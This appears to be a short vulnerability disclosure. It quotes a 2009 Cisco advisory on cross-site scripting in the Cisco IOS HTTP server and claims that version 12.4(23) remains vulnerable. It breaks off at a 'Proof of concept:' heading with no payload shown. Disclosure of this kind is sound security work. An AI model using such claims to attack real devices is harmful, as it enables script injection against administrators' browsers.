Description

There was a Cisco Product Security Incident Response Team (PSIRT) advisory recently concerning some XSS/CSRF holes in the IOS..

Document ID: 98605 http://www.cisco.com/warp/public/707/cisco-sr-20090114-http.shtml Revision 1.0 For Public Release 2009 January 14 1600 UTC (GMT) Cisco Response: "Two separate Cisco IOS® Hypertext Transfer Protocol (HTTP) cross-site scripting (XSS) vulnerabilities have been reported to Cisco [...] This response covers two separate cross-site scripting vulnerabilities within the Cisco IOS Hypertext Transfer Protocol (HTTP) server (including HTTP secure server - here after referred to as purely HTTP Server) and applies to all Cisco products that run Cisco IOS Software versions 11.0 through 12.4 with the HTTP server enabled.

};

According to this advisory these holes were patched in 12.4(15)T8 and 12.4(23).

However i found that the Cisco IOS ( 12.4(23) ) HTTP Server is still prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data. The attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site.

Proof of concept:
